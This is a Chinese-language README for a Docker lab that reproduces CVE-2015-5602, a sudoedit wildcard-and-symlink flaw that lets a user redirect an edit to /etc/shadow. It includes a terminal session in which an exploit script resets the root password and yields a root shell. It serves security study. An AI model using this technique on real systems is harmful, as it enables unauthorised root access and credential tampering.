Sudo(su "do")允许系统管理员赋予特定用户(或用户组)以 root 身份运行部分(或全部)命令的能力,同时记录所有命令和参数。
要为你的测试搭建漏洞环境,你需要安装 Docker,然后只需运行以下命令:
docker build -t privesc/cve-2015-5602 .
docker run --rm -it privesc/cve-2015-5602
它会生成一个具有低权限用户的交互式 shell。
该漏洞存在于 sudoedit 中,当通配符被使用两次时(例如 /home/*/*/esc.txt),sudoedit 不会检查完整路径,这允许恶意用户将真实的 esc.txt 文件替换为指向其他位置(例如 /etc/shadow)的符号链接。
成功利用此问题可能允许攻击者操纵文件,并通过符号链接攻击在宿主机系统上获得 root 权限。
要利用此目标,只需运行:
./exploit.sh
如果你正在使用此漏洞镜像,可以运行:
user@1cc9cd901b07:~$ sudo -l
User user may run the following commands on 1cc9cd901b07:
(root) NOPASSWD: sudoedit /home/*/*/esc.txt
user@1cc9cd901b07:~$ ./exploit.sh
[+] CVE-2015-5602 exploit by t0kx
[+] Creating folder...
[+] Creating symlink
[+] Modify EDITOR...
[+] Change root password to: d03c09dc34c53657aff1f459a86b20ed
[+] Done
user@1cc9cd901b07:~$ su
Password:
root@1cc9cd901b07:/home/user# id
uid=0(root) gid=0(root) groups=0(root)
root@1cc9cd901b07:/home/user#
该漏洞由 Daniel Svartman 发现。
本程序及之前的程序仅用于教育目的。未经许可请勿使用。通常的免责声明同样适用,尤其是本人(t0kx)不对因直接或间接使用这些程序所提供的信息或功能而造成的任何损害负责。作者或任何互联网服务提供商对这些程序及其任何衍生版本的内容或误用不承担任何责任。使用这些程序即表示你接受以下事实:因使用这些程序而造成的任何损害(数据丢失、系统崩溃、系统入侵等)均非 t0kx 的责任。